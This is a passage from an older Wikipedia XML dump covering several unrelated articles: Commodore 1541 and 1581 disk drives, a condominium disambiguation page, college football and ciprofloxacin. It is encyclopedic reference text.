As implemented on the [[VIC-20]] and [[Commodore 64]], [[Commodore DOS|CBM DOS]] could transfer only about 300 bytes per second, which translated to about 20 minutes to copy one disk&amp;mdash;10 minutes of reading time, and 10 minutes of writing time. However, since both the computer and the drive could easily be reprogrammed, third parties quickly wrote more efficient firmware that would speed up drive operations drastically. Without hardware modifications, some &quot;fast-loader&quot; utilities managed to achieve speeds of up to 4 KB/sec. The most common of these third-party products were the [[Epyx FastLoad]], the [[The Final Cartridge III|Final Cartridge]], and the [[Action Replay (cartridge)|Action Replay]] plug-in [[cartridge (electronics)|cartridge]]s, which all had [[machine code monitor]] and [[disk editor]] software on board as well. The popular Commodore computer magazines of the era also entered the arena with type-in fast-load utilities, with [[Compute!'s Gazette]] publishing ''TurboDisk'' in 1985 and [[RUN (magazine)|RUN]] publishing ''Sizzle'' in 1987.

Because each 1541 had its own onboard disk controller and disk operating system, it was possible for a user to command two 1541 drives to copy a disk (one drive reading and the other writing), and then unplug the C64 itself from the drives (i.e. from the first drive in the daisy chain) and do something else with the computer as the drives proceeded to spend the next 35 seconds copying the entire disk.

==Copy protection by read error==

Early copy prevention schemes deliberately introduced read errors on the disk, the software refusing to load unless the correct error message was returned.  The general idea was that the inbuilt disk copy command was incapable of copying the errors.  When one of these errors was encountered, the disk drive (as do all disk drives) would attempt one or more re-read attempts after first resetting the head to track zero. Few of these schemes had much deterrent effect, as various software companies soon released 'nibbler' utilities that enabled protected disks to be copied.

The later [[Commodore 1571|1571]] drive (which was 1541 compatible) incorporated track zero detection and was thus immune from the problem.  A third party fix for the 1541 appeared where the solid head stop was replaced by a sprung stop which gave the head a much easier life.  Also a software solution which resided in the drive controller's RAM, prevented the re-reads from occurring, though this could cause problems when genuine errors did occur.

==The drive head misalignment issue==

The drive-head mechanism was notoriously easy to misalign, and had a tendency to make a 'machine-gun' rattle when out of alignment or when formatting a new disk. Some people even wrote code to vibrate the head at different frequencies to play simple tunes such as ''[[Amazing Grace]]''. The most common cause of the 1541's drive head knocking and subsequent misalignment, however, was [[copy prevention]] schemes on commercial software.

The main cause of the problem was that the disk drive itself did not feature any means of detecting when the read/write head returned to track zero.  Accordingly when a disk was formatted or a disk error occurred, the unit would physically drive the head 40 tracks to track zero (although the 1541 only used 35 tracks, the drive itself was a 40 track unit).  Once track zero was reached, the head would be physically rammed against a solid stop.  This ramming gave the characteristic 'machine gun' noise and would, sooner or later, throw the head out of alignment.

==Commodore's successor products==

The [[Commodore 1570]] was an upgraded 1541 for use with the [[Commodore 128]], available in Europe. It offered [[Modified Frequency Modulation|MFM]] capability for accessing CP/M disks, improved speed, and somewhat quieter operation, but was only manufactured until Commodore got its production lines going with the double-sided [[Commodore 1571|1571]].  Finally, the small, external power supply, MFM-based [[Commodore 1581]] 3&amp;frac12;&quot; drive was made, giving 800 KB access to the C128 and C64. By this time, however, many CBM users had shifted their attention to the 16/32-bit Amiga, and the 1581 was mostly sold to remaining [[GEOS (8-bit operating system)|GEOS]] users.

==References==
* CBM (1982). ''VIC-1541 Single Drive Floppy Disk User's Manual''. 2nd ed. Commodore Business Machines, Inc. P/N 1540031-02.&lt;!--not a great book--&gt;&lt;!--true, but should still be listed, as it was the original reference that user's would normally read when getting the disk drive...--&gt;
* Neufeld, Gerald G. (1985). ''1541 User's Guide. The Complete Guide to Commodore's 1541 Disk Drive''. Second Printing, June 1985. 413 pp. Copyright &amp;copy; 1984 by DATAMOST, Inc. (Brady). ISBN 0-89303-738-9.
* Immers, Richard; Neufeld, Gerald G. (1984). ''Inside Commodore DOS. The Complete Guide to the 1541 Disk Operating System.'' DATAMOST, Inc &amp; Reston Publishing Company, Inc. (Prentice-Hall). ISBN 0-8359-3091-2.
* Englisch, Lothar; Szczepanowski, Norbert (1984). ''The Anatomy of the 1541 Disk Drive''. Grand Rapids, MI: Abacus Software (translated from the original 1983 German edition, Düsseldorf: Data Becker GmbH). ISBN 0-916439-01-1.

==External links==
*[http://project64.c64.org/hw/1541_tricks.txt Undocumented 1541 drive functions] &amp;ndash; From the Project 64 website


{{FOLDOC}}

[[Category:CBM storage devices]]
[[Category:Commodore 64]]

[[de:VC1541]]
[[pl:Commodore 1541]]</text>
    </revision>
  </page>
  <page>
    <title>Condominium (disambiguation)</title>
    <id>6768</id>
    <revision>
      <id>15904888</id>
      <timestamp>2004-07-13T01:35:57Z</timestamp>
      <contributor>
        <username>Adam Bishop</username>
        <id>13008</id>
      </contributor>
      <minor />
      <comment>Reverted edits by 63.191.136.230 to last version by Template namespace initialisation script</comment>
      <text xml:space="preserve">[[ja:&amp;#12510;&amp;#12531;&amp;#12471;&amp;#12519;&amp;#12531;]]

There are two meanings of '''condominium'''
*In [[international law]], a [[condominium (international law)|condominium]] is a territory in which two sovereign powers have equal rights.
*In [[housing tenure]], a [[condominium (housing)|condominium]] is a type of joint ownership of real property in which portions of the property are commonly owned and other portions are individually owned.

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Commodore 1581</title>
    <id>6769</id>
    <revision>
      <id>34988646</id>
      <timestamp>2006-01-13T05:58:23Z</timestamp>
      <contributor>
        <username>Mirror Vax</username>
        <id>231030</id>
      </contributor>
      <minor />
      <comment>fix link</comment>
      <text xml:space="preserve">The '''Commodore 1581''' is a 3&amp;frac12; inch [[double sided]] [[double density]] [[floppy disk]] drive made by [[Commodore International|Commodore Business Machines (CBM)]] primarily for its [[Commodore 64|C64]] and [[Commodore 128|C128]] [[home computer|home]]/[[personal computer]]s. The drive stores 800 [[kilobyte]]s using an [[Modified Frequency Modulation|MFM]] format different from both [[MS-DOS|DOS]] (720 KB), and the [[Amiga]] (880 KB) formats. It was released in the summer of [[1987]] and quickly became popular with [[bulletin board system|bulletin board system (BBS)]] operators and other users.

Like the [[Commodore 1541|1541]] and [[Commodore 1571|1571]], the 1581 has an onboard [[MOS Technology 6502]] CPU with its own ROM and RAM, and uses a serial version of the [[IEEE-488]] interface. Inexplicably, the drive's ROM contains commands for parallel use, although no parallel interface was available. Like the 1571, it can read various other disk formats using special software. This capability was most frequently used to read MS-DOS disks. However, unlike the 1571, which is nearly 100% backward-compatible with the 1541, the 1581 has limited compatibility with Commodore's earlier drives. Although it responds to the same DOS commands, most disk utilities written prior to 1987, most notably fast loaders, are 1541-specific.

The 1581 added support for partitions, but this was largely unused. It implements faster [[burst mode]] access than the [[Commodore 1571]] 5&amp;frac14;&quot; drive. The 1581 provides a total of 3160 blocks free when formatted (a block being equal to 256 [[byte]]s). The number of permitted directory entries was also increased, to 288 entries. With a storage capacity of 800 KB, the 1581 was the highest capacity serial bus drive ever made by Commodore (the 1 MB SFD-1001 used the parallel IEEE-488), and the only 3&amp;frac12;&quot; one.  However, starting in 1991, [[Creative Micro Designs|Creative Micro Designs (CMD)]] made the [[CMD FD-2000|FD-2000]] [[high density]] (1.6MB) and [[CMD FD-4000|FD-4000]] [[extended density]] (3.2MB) 3&amp;frac12;&quot; drives, both of which offered not only a 1581 emulation mode but also 1541 and 1571 modes.

Utilities to read 1581-formatted disks in standard PC floppy drives under [[Linux]] or [[Microsoft Windows]] exist.

==Specifications==
*Onboard CPU: [[MOS Technology 6502]] @ 2 [[megahertz|MHz]]
*RAM: 16 [[kilobyte|KB]]
*ROM: 32 KB
*Transfer protocols: standard and fast serial; [[burst mode]]; and commands for parallel interface (the latter not used)
*Disk type: 3&amp;frac12; inch
*Storage format: [[Modified Frequency Modulation|MFM]], double density, double-sided
*Interface: CBM's proprietary 'serial IEEE-488'


{{FOLDOC}}

[[Category:CBM storage devices]]
[[Category:Commodore 64]]

[[de:VC1581]]</text>
    </revision>
  </page>
  <page>
    <title>CDP1802</title>
    <id>6770</id>
    <revision>
      <id>15904890</id>
      <timestamp>2005-03-14T18:03:00Z</timestamp>
      <contributor>
        <username>Wernher</username>
        <id>19431</id>
      </contributor>
      <comment>chg art to #re after merging contents with [[RCA 1802]]</comment>
      <text xml:space="preserve">#REDIRECT [[RCA_1802]]</text>
    </revision>
  </page>
  <page>
    <title>College football</title>
    <id>6771</id>
    <revision>
      <id>41884089</id>
      <timestamp>2006-03-02T10:01:16Z</timestamp>
      <contributor>
        <ip>24.208.186.158</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">[[Image:College_Football_CSU_AF.jpg|thumb|300px|A college football game between [[Colorado State University]] and the [[United States Air Force Academy|Air Force Academy]].]]

'''College football''' is [[American football]] played by teams of students fielded by American [[University|universities]] and [[college|colleges]], including [[United States military academies]]. It was the venue through which American football first gained popularity in the [[United States]]. College football remains extremely popular today among students, alumni, and other fans of the sport. College football is also used to refer to [[Canadian football]] played by students at Canadian universities; this article focuses on the American version of the sport.

==History==
[[Image:College football TT USNA.jpg|thumb|250px|A college football game between [[Texas Tech University]] and the [[United States Naval Academy|U.S. Naval Academy]].]]
The first game played between teams representing different colleges or universities was played on [[November 6]], [[1869]] between [[Rutgers University]] and [[Princeton University]], at College Field (now the site of the College Avenue Gymnasium), [[New Brunswick, New Jersey]].  Rutgers won, by a score of 6 to 4.  As the score would seemingly indicate, the game bore little resemblance to the game of today. The rules of that game were the [[1863]] rules of the English [[The Football Association|Football Association]], the basis of the modern form of [[football (soccer)|soccer]]. 

The development of the American game can be traced back to the sport of '''[[soccer]]''' in England.  In 1823, in a soccer game at Rugby, England, a player picked up the ball and ran with it, and the sport of [[Rugby_football|Rugby football]], or rugby, was born.  The game moved to Canada with British soldiers stationed there, and began to be played at Canadian colleges. The American experience with the game began in [[1874]] at a meeting in Cambridge, Massachusetts between [[Harvard University]] and Montreal, Quebec's [[McGill University]].  The two teams were used to playing different brands of football &amp;mdash; the McGill team played a [[Rugby_football|rugby]]-style game, while Harvard played a soccer-style game.  The teams agreed to play under compromise rules, and from this meeting the game of football began to evolve in both the United States and Canada.

[[Walter Camp]], known as the &quot;Father of American Football,&quot; is credited with changing the game from a variation of rugby into a unique sport.  Camp is responsible for pioneering the play from scrimmage (earlier games featured a rugby [[Scrum (rugby)|scrum]]), most of the modern elements of scoring, the eleven-man team, and the traditional offensive setup of the seven-man line and the four-man backfield.  Camp not only shaped the game, but also had a hand in popularizing it.  He published numerous articles in publications such as [[Collier's Weekly]] and [[Harper's Weekly]] and chose the first [[College Football All-America Team]].

College football increased in popularity through the remainder of the [[19th century]].  It also became increasingly violent.  President [[Theodore Roosevelt]] threatened, in [[1906]], to ban the sport following a series of player deaths from injuries suffered during games.  The response to this was the formation of what became the [[National Collegiate Athletic Association]], which set rules governing the sport.  One of the resulting rule changes was the introduction of the forward pass.  Another was the banning of &quot;mass momentum&quot; plays (many of which, like the infamous &quot;flying wedge&quot;, were sometimes literally deadly).

Prior to the founding of the [[National Football League]], and for a few decades thereafter, college football was the predominant venue of American football.  Innovations in strategy and style of play originated in college football and spread to the pro game gradually.  It was not until the post-[[World War II]] era that the pro game achieved ascendancy in the eyes of the average American sports fan.

Even with the emergence of the NFL, college football remains extremely popular throughout the U.S. Because the accessibility of the pro game is limited to major urban areas, the college game is especially popular in more rural areas; some particularly notable examples of this may be found in [[Oklahoma]], [[Nebraska]], [[West Virginia]], [[Iowa]], Central [[Pennsylvania]], and throughout the [[Southern United States]].

Although the college game has a much larger margin for talent than its pro counterpart, the sheer number of fans following major colleges provides a financial equalizer for the game, with Division I programs playing in, and consistently selling out huge stadiums (several of which have [[seating capacity]] exceeding 100,000). In many cases, the college stadiums employ bench-style seating (as oppsed to individual seats with backs and arm rests).  This allows them to seat more fans in a given amount of space than the typical pro stadium, which tends to be a bit more luxurious.  

A lack of a pro franchise is not necessarily an indicator of where the college game is most successful; for example, in [[California]], [[Ohio]], [[Texas]], [[Pennsylvania]], and [[Florida]] -- states which all have multiple NFL franchises -- there are universities that also rank in the upper financial echelons of the college football. However, some of the the most successful college teams in those states do not reside in the same city as an NFL team.  For example, [[The University of Texas]] [[Texas Longhorn Athletics|Longhorns]] play in [[Austin, Texas]], the [[USC Trojans]] play in [[Los Angeles, California]], and [[The Ohio State University]] Buckeyes play in [[Columbus, Ohio]].  None of those cities have pro football teams located within one hour's drive.  Austin and Columbus do not have major league baseball or basketball teams either, leaving much of those cities attentions focused on their respective college football programs.

Generally, college games are played on Saturdays, while professional games happen on Sundays.  This arrangement has allowed the two games to flourish simultaneously, rather than compete with one another.

==The season schedule==

The college football season begins two to three weeks earlier than the NFL, toward the end of August.  Until [[2003 in sports|2003]], the regular season was officially ushered in by the [[Kickoff Classic]] (other pre-season games such as the [[Eddie Robinson Classic]] and the [[Pigskin Classic]] have also been played).  Recent NCAA policy changes have eliminated some of these games.  The regular season continues through early December, ending with the annual [[Army-Navy Game]] and several conference championship games on the same weekend.

The postseason consists of a series of [[NCAA football bowl games, 2005-06|bowl games]] that showcase top college teams.  Bowl games generally match two teams of similar standing from different conferences, although some pit a high ranked team from a smaller conference against a lower ranked team from a more prestigious one.  Division I-A football is the only NCAA sport which doesn't decide its champion with a playoff. In the past, the unofficial national champion was determined by various polls, such as the [[Associated Press]] Poll, [[CNN]]/[[USA Today]] Coaches Poll, and the [[United Press International]] Poll.  This system was problematic, as two polls often named different champions. 

Since 1998, the National Championship has been determined by the [[Bowl Championship Series]].  This formula, incorporating numerous computer rankings and human polls, is used to determine the top two teams in the country. The two teams compete for the championship in one of the four BCS bowls.  This system is not without controversy.  Some critics argue that the system unfairly favors teams from large conferences, and that the process used to select the teams can be just as ambiguous as the earlier poll system.  Also, to add to the controversy, the Bowl Championship Series champion has not always been the undisputed national champion; for example, in 2003, the [[Associated Press]] and Bowl Championship Series chose different champions, which is precisely what the system was designed to prevent.  The [[2005 in sports|2005]] season did produce a consensus national champion, with the [[USC Trojans]] and [[Texas Longhorn Athletics|Texas Longhorns]] facing each other as the only two major teams to finish the regular season undefeated.  Texas beat USC 41 to 38 in the [[Rose Bowl (game)|Rose Bowl]].

The season concludes with series of [[all-star]] bowl games in January. These include the [[East-West Shrine Game]], the [[Gridiron Classic]], the [[Hula Bowl]], and the [[Senior Bowl]].  However, the Gridiron Classic was recently declared cancelled for 2006 due to lack of sponsorship.

The length of the season has gradually increased over the course of the game's history. In spring [[2005]], the [[National Collegiate Athletic Association|NCAA]] ruled that teams could schedule twelve regular-season games (up from eleven) beginning in the [[2006]] season.  This decision was met with some criticism from those who claimed that expanding the season would overwork the athletes.

In the spring, many colleges stage a scrimmage between their offensive and defensive players. The spring game generally comes at the conclusion of spring practice.

==Rules==

Although rules for the high school, college, and [[National Football League|NFL]] games are generally consistent, there are some differences. The [[National Collegiate Athletic Association|NCAA]] determines the regulations for Division I, I-AA, II, and III games (The [[National Association of Intercollegiate Athletics|NAIA]] is a separate organization). Some unique rules are:
*A pass is ruled complete if one of the receiver's feet is inbounds at the time of the catch. In the NFL, both feet must be inbounds.
*A player is considered down when any part of his body other than the feet or hands touches the ground. In the NFL a player is active until he is tackled by a member of the opposing team (Down by contact).
*The game-clock is stopped when a first down is achieved, until the first-down markers are moved to the new line of scrimmage.
*When a game goes to overtime, each team is given one possession from its opponent's twenty-five yard line. The leader after those possessions, if there is one, is declared the winner. If the teams remain tied, this continues, switching the order of possessions for each overtime, until one team leads the other at the end of the overtime. Extra points do not count from the 3rd overtime on, making it necessary for teams scoring touchdowns to attempt a two-point conversion. (In The [[NFL]], overtime is decided by a 15-minute [[Overtime (sports)#American_and_Canadian_football|sudden-death quarter]].) 
*[[Two-point conversion]]s are attempted from the three yard line. The [[NFL]] uses the two yard line.

For a more general discussion of football rules, see [[American football#The rules of American football|The rules of American football]].

==National championships==
[[Image:BCS national championship trophy and Bevo.JPG|right|thumb|[[Texas Longhorn Athletics|UT]]'s [[Bevo (mascot)|Bevo]] with the [[Bowl Championship Series|BCS]] Division I-A National Championship trophy ]]
*[[NCAA Division I-A national football champions]]
*[[NCAA Division I-AA national football championship]]
*[http://www.iaapreview.com/history.html NCAA Division I-AA Year-by-year playoff results]
*[[NCAA Division II national football championship]]
*[[NCAA Division III national football championship]]
*[[NAIA national football championship]]

==NCAA divisions and conferences==

===NCAA Division I-A===
[[Image:Cfdia.PNG|thumb|400px|A map of all Division I-A schools.]]
*[[Atlantic Coast Conference]]
*[[Big East Conference]]
*[[Big Ten Conference]]
*[[Big 12 Conference]]
*[[Conference USA]]
*[[Mid-American Conference]]
*[[Mountain West Conference]]
*[[Pacific Ten Conference]]
*[[Southeastern Conference]]
*[[Sun Belt Conference]]
*[[Western Athletic Conference]]
*[[NCAA Division I-A Independent Schools]]

===NCAA Division I-AA===
[[Image:Cfdiaa.PNG|thumb|400px|A map of all Division I-AA schools.]]
*[[Atlantic Ten Conference]], will be replaced by [[Colonial Athletic Association]] starting in 2007
*[[Big Sky Conference]]
*[[Big South Conference]]
*[[Gateway Football Conference]]
*[[Great West Football Conference]]
*[[Ivy League]] 
*[[Metro Atlantic Athletic Conference]]
*[[Mid-Eastern Athletic Conference]]
*[[Northeast Conference]]
*[[Ohio Valley Conference]]
*[[Patriot League]]
*[[Pioneer Football League]]
*[[Southern Conference]]
*[[Southland Conference]]
*[[Southwestern Athletic Conference]]
*[[NCAA Division I-AA Independent Schools]]

===NCAA Division II===
*[[Central Intercollegiate Athletic Association]]
*[[Great Lakes Intercollegiate Athletic Conference]]
*[[Great Northwest Athletic Conference]]
*[[Gulf South Conference]]
*[[Lone Star Conference]]
*[[Mid-America Intercollegiate Athletic Association]]
*[[North Central Conference]]
*[[Northeast Ten Conference]]
*[[Northern Sun Intercollegiate Conference]]
*[[Pennsylvania State Athletic Conference]]
*[[Rocky Mountain Athletic Conference]]
*[[South Atlantic Conference]]
*[[Southern Intercollegiate Athletic Conference]]
*[[West Virginia Intercollegiate Athletic Conference]]
*[[NCAA Division II independent schools]]

===NCAA Division III===
*[[American Southwest Conference]]
*[[Atlantic Central Football Conference]]
*[[College Conference of Illinois and Wisconsin]]
*[[Centennial Conference]]
*[[Freedom Football Conference]]
*[[Heartland Collegiate Athletic Conference]]
*[[Illini-Badger Football Conference]]
*[[Iowa Intercollegiate Athletic Conference]]
*[[Liberty League]]
*[[Michigan Intercollegiate Athletic Association]]
*[[Middle Atlantic Corporation]]
*[[Midwest Conference]]
*[[Minnesota Intercollegiate Athletic Conference]]
*[[New England Football Conference]]
*[[New England Small College Athletic Conference]]
*[[New Jersey Athletic Conference]]
*[[North Coast Athletic Conference]]
*[[Northwest Athletic Conference]]
*[[Ohio Athletic Conference]]
*[[Old Dominion Athletic Conference]]
*[[Presidents' Athletic Conference]]
*[[Southern California Intercollegiate Athletic Conference]]
*[[Southern Collegiate Athletic Conference]]
*[[University Athletic Association]]
*[[USA South Athletic Conference]]
*[[Wisconsin Intercollegiate Athletic Conference]]
*[[NCAA Division III independent schools]]

===Defunct Conferences and Teams===
*[[List of defunct Division I football teams]]
*[[List of defunct college football conferences]]
*[[List of Division I schools that have never sponsored football]]

==NAIA Conferences==
*[[Central States Football League]]
*[[Dakota Athletic Conference]]
*[[Frontier Conference]]
*[[Great Plains Athletic Conference]]
*[[Heart of America Athletic Conference]]
*[[Kansas Collegiate Athletic Conference]]
*[[Mid-South Conference]]
*[[Mid-States Football Association]]
*[[NAIA independent schools]]

==College Bowl Games==

===Bowl Championship Series===

*[[Fiesta Bowl]]
*[[Orange Bowl (game)|Orange Bowl]]
*[[Rose Bowl (game)|Rose Bowl]]
*[[Sugar Bowl]]

=== Other Current Bowl Games ===

*[[Alamo Bowl]]
*[[Capital One Bowl]]
*[[Champs Sports Bowl]]
*[[Chick-fil-A Bowl]] (formerly Peach Bowl)
*[[Cotton Bowl (game)|Cotton Bowl]]
*[[Emerald Bowl]]
*[[Fort Worth Bowl]]
*[[Gator Bowl]]
*[[GMAC Bowl]]
*[[Hawaii Bowl]]
*[[Holiday Bowl]]
*[[Houston Bowl]]
*[[Independence Bowl]]
*[[Insight Bowl]]
*[[Las Vegas Bowl]]
*[[Liberty Bowl]]
*[[Meineke Car Care Bowl]]
*[[Motor City Bowl]]
*[[MPC Computers Bowl]]
*[[Music City Bowl]]
*[[New Orleans Bowl]]
*[[Outback Bowl]]
*[[Poinsettia Bowl]]
*[[Sun Bowl]]

===All-Star Games===

*[[Senior Bowl]]
*[[East-West Shrine Game]]
*[[Hula Bowl]]


*[[List of college bowl games]], including defunct bowls and non-Division I games

==College football awards==
*[[Bronko Nagurski Trophy]] - outstanding defensive player
*[[Buck Buchanan Award]] - outstanding Division I-AA defensive player
*[[College Football All-America Team]] - originally selected by [[Walter Camp]].
*[[Chuck Bednarik Award]] - outstanding defensive player 
*[[Dave Rimington Trophy]] - outstanding center
*[[Davey O'Brien Award]] - outstanding quarterback
*[[Dick Butkus Award]] - outstanding linebacker
*[[Doak Walker Award]] - outstanding running back
*[[Fred Biletnikoff Award]] - outstanding wide receiver
*[[Gagliardi Trophy]] - outstanding Division III player
*[[Grantland Rice Award]] - Division I national champion
*[[Johnny Unitas Golden Arm Award]] - outstanding senior quarterback
*[[Lou Groza Award]] - outstanding placekicker
*[[Harlon Hill Trophy]] - outstanding Division II player
*[[Heisman Trophy]] - player of the year
*[[Lombardi Award]] - outstanding offensive or defensive lineman
*[[Manning Award]] - outstanding quarterback
*[[Maxwell Award]] - player of the year
*[[Mosi Tatupu Award]] - outstanding special teams player
*[[Outland Trophy]] - outstanding offensive or defensive interior lineman
*[[Paul &quot;Bear&quot; Bryant Award]] - outstanding head coach
*[[Walter Payton Award]] - outstanding Division I-AA offensive player
*[[Jim Thorpe Award]] - outstanding defensive back

==See also==
*[[Bowl Championship Series]]
*[[College Football on Television]]
*[[College Football Hall of Fame]]
*[[College rivalry#United_States|College rivalries]]
*[[Sports league attendances]]
*[[Canadian Interuniversity Sport]] - governing body of Canadian college football

==External links==
*[http://www.ncaafootball.net NCAA football official site]
*[http://www.cfbdatawarehouse.com/index.php College Football Data Warehouse], contains data for nearly every college football game ever played at all levels
*[http://www.ncaasports.com/football/mens NCAA football section]
*[http://www.ncaasports.com/football/mens/stats NCAA football stats]
*[http://www.scarletknights.com/football/history/first_game.htm An account of the first game]
*[http://www.donhansen.com Don Hansen's Football Gazette]
*[http://www.iaapreview.com/ I-AA College Football Weekly Preview]
*A round-up of the academic studies regarding [http://the-raw-prawn.blogspot.com/2004/10/study-winning-sports-teams-do-not-help.html the benefits of a strong collegiate athletic program]
*[http://www.bcsfootball.org/ Bowl Championship Series]
*[http://www.geocities.com/football_graveyard/ A site devoted to schools which no longer play football]
*[http://www.mikedesimone.com/top25.htm Mike DeSimone's Division 1-A College Football Ratings]
*[http://collegefootball.org/news.php?id=592 College Football Hall of Fame]
*[http://www.gridmarks.com/college.html College Football Rankings and Picks]
*[http://college.realfootball365.com/ Div. 1 College Football]

{{Bowl Games}}

[[Category:American football]]
[[Category:College football|*]]
[[Category:Intercollegiate athletics in the United States]]


[[de:College Football]]</text>
    </revision>
  </page>
  <page>
    <title>Ciprofloxacin</title>
    <id>6773</id>
    <revision>
      <id>41648163</id>
      <timestamp>2006-02-28T19:58:14Z</timestamp>
      <contributor>
        <username>Wiserd911</username>
        <id>268904</id>
      </contributor>
      <comment>/* Contraindications */</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; width=&quot;250px&quot; align=&quot;right&quot; style=&quot;border-collapse: collapse; margin: 0 0 0 0.5em&quot;
|-
| bgcolor=&quot;#ffffff&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
[[Image:Ciprofloxacin.png|Ciprofloxacin chemical structure]]&lt;br/&gt;
''Ciprofloxacin''
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | ''1,4-dihydro-1-cyclopropyl-6-fluoro-&lt;BR&gt;4-oxo-7-(1-piperazinyl)-&lt;BR&gt;3-quinolinecarboxylic acid''
|- align=&quot;center&quot; style=&quot;border-bottom: 3px solid gray&quot;
| '''[[CAS number]]''' &lt;br/&gt; 85721-33-1
| '''[[ATC code]]'''   &lt;br/&gt; J01MA02, S01AX13, S03AA07
|-
| bgcolor=&quot;#eeeeee&quot; | [[Chemical formula]]
| bgcolor=&quot;#ddeeff&quot; | C&lt;sub&gt;17&lt;/sub&gt;H&lt;sub&gt;18&lt;/sub&gt;FN&lt;sub&gt;3&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;
|-
| bgcolor=&quot;#eeeeee&quot; | [[Molecular weight]]
| bgcolor=&quot;#ddeeff&quot; | 331.345
|-
| bgcolor=&quot;#eeeeee&quot; | [[Bioavailability]]
| bgcolor=&quot;#ddeeff&quot; | 69%{{ref|1}}
|-
| bgcolor=&quot;#eeeeee&quot; | Metabolism
| bgcolor=&quot;#ddeeff&quot; | Hepatic, including [[CYP1A2]]
|-
| bgcolor=&quot;#eeeeee&quot; | [[Elimination half-life]]
| bgcolor=&quot;#ddeeff&quot; | 4 hours
|-
| bgcolor=&quot;#eeeeee&quot; | [[Excretion]]
| bgcolor=&quot;#ddeeff&quot; | Renal
|-
| bgcolor=&quot;#eeeeee&quot; | [[Pregnancy category (pharmaceutical)|Pregnancy category]] 
| bgcolor=&quot;#ddeeff&quot; | B3 (Australia)
|-
| bgcolor=&quot;#eeeeee&quot; | [[Regulation of therapeutic goods|Legal status]]
| bgcolor=&quot;#ddeeff&quot; | Schedule 4 (Australia)
|-
| bgcolor=&quot;#eeeeee&quot; | Routes of administration
| bgcolor=&quot;#ddeeff&quot; | Oral, topical (ear drops, eye drops)
|-
|}
'''Ciprofloxacin''' is the generic international name for the synthetic [[antibiotic]] manufactured and sold by [[Bayer Pharmaceutical]] under the brand names '''Cipro'''® and '''Ciproxin'''® (and other brand names in other markets, e.g. [[veterinary drugs]]), belonging to a group called [[Quinolones|fluoroquinolone]]s.
Ciprofloxacin is [[bactericidal]] and its [[mode of action]] depends on blocking  of bacterial [[DNA]] [[DNA replication|replication]] by binding itself to an
[[enzyme]] called [[DNA gyrase]], which allows the untwisting required to replicate one [[DNA]] [[double helix]] into two. Notably the drug has 100 times higher affinity for bacterial [[DNA gyrase]] than for mammalian.

==Activity==
Ciprofloxacin is a [[broad-spectrum antibiotic]] that is active against both
[[Gram-positive]] and [[Gram-negative]] bacteria.
* [[Enterobacteriaceae]]
* ''[[Vibrio]]''
* ''[[Haemophilus influenzae]]''
* ''[[Neisseria gonorrhoeae]]''
* ''[[Neisseria menigitidis]]''
* ''[[Moraxella catarrhalis]]''
* ''[[Brucella]]''
* ''[[Campylobacter]]''
* ''[[Mycobacterium intracellulare]]''
* ''[[Legionella]]'' sp.
* ''[[Pseudomonas aeruginosa]]''
* ''[[Bacillus anthracis]]'' - that causes [[Anthrax disease|anthrax]]

Weak activity against:
* ''[[Streptococcus pneumoniae]]''
* ''[[Chlamydia trachomatis]]''
* ''[[Chlamydia pneumoniae]]''

No activity against:
* ''[[Bacteroides]]''
* ''[[Burkholderia cepacia]]''
* ''[[Enterococcus faecium]]''
* ''[[Ureaplasma urealyticum]]''

* and others

The major [[adverse effect]] seen with use of  is [[gastrointestinal irritation]], common with many [[antibiotics]]. Because of its general safety, potency and [[broad spectrum]] activity, ciprofloxacin was initially reserved as a &quot;last-resort&quot; drug for use on difficult and [[drug-resistant infections]]. As with any [[antibiotic]], however, increasing time and usage has led to an increase in ciprofloxacin-resistant infections, mainly in the [[hospital]] setting. Also implicated in the rise of [[resistant bacteria]] is the use of lower-cost, less potent [[fluoroquinolones]], and the widespread addition of ciprofloxacin and other antibiotics to the feed of [[farm animals]], which leads to greater and more rapid weight gain, for reasons which are not clear.

==Label information==
The drug is available for oral and [[parenteral]] use. It is used in [[lower respiratory infections]] ([[pneumonia]]s), [[urinary tract infection]]s, [[Sexually Transmitted Disease|STD]]s, [[septicemia]]s, [[Legionellosis]] and atypical [[Mycobacterioses]]. Dosage in [[respiratory infections]] is 500-1500 mg a day in 2 doses.

It is contraindicated in children, [[pregnancy]], and in patients with [[epilepsy]]. Dose adjustment or avoidance may be necessary with [[liver failure|liver]] or [[renal failure]].

Ciprofloxacin can cause [[photosensitivity]] reactions and can elevate plasma
[[theophylline]] levels to toxic values.  It can also cause [[constipation]] and sensitivity to [[caffeine]].

==Interactions==
[[Quercetin]], a [[flavonoid]] occasionally used as a [[dietary supplement]]  may interact with fluroquinolones, as quercetin competitively binds to bacterial DNA gyrase. Some foods such as garlic and apples contain high levels of quercetin. Whether this inhibits or enhances the effect of Fluoroquinolones is not immediately clear{{ref|2}}.

==Contraindications==
Metal cations such as [[aluminium]], [[magnesium]], [[calcium]], [[ferrous sulfate]], and [[zinc]] are thought to form chelation complexes with fluoroquinolone antibiotics and prevent the drugs from being absorbed. Because of this, avoid taking [[antacid]]s which contain aluminium, magnesium or calcium with ciprofloxacin. [[Sucralfate]], which has a high aluminium content, also reduces the bioavailability of ciprofloxacin to approximately 4%{{ref|3}}. Ciprofloxacin may be taken with meals or on an empty stomach. Ciprofloxacin should NOT be taken with dairy products or calcium-fortified juices alone, but may be taken with a meal that contains these products[http://www.drugs.com/cons/Cipro_I_V_.html].

Heavy exercise is discouraged, as [[achilles tendon rupture]] has been reported in patients taking ciprofloxacin. Achilles tendon rupture due to Ciprofloxacin use is typically associated with [[renal]] failure.

The toxicity of drugs that are metabolised by the cytochrome P450 system is enhanced by concomitant use of some quinolones. They may also interact with the [[GABA A receptor]] and cause neurological symptoms; this is further augmented by certain [[non-steroidal anti-inflammatory drug]]s{{ref|4}}.

==Business aspects==
The discovery and development of ciprofloxacin is that rare case of an actual groundbreaking [[new drug development]], opening up an entire new class of antibiotics for further research, development, and marketing. Even more remarkable, it seems to be a case where the first drug discovered of this class remains the 'gold standard' in terms of efficacy, with the other drugs developed by other [[pharmaceutical companies]] relegated to 'me-too' status and forced to compete on the basis of lower cost.

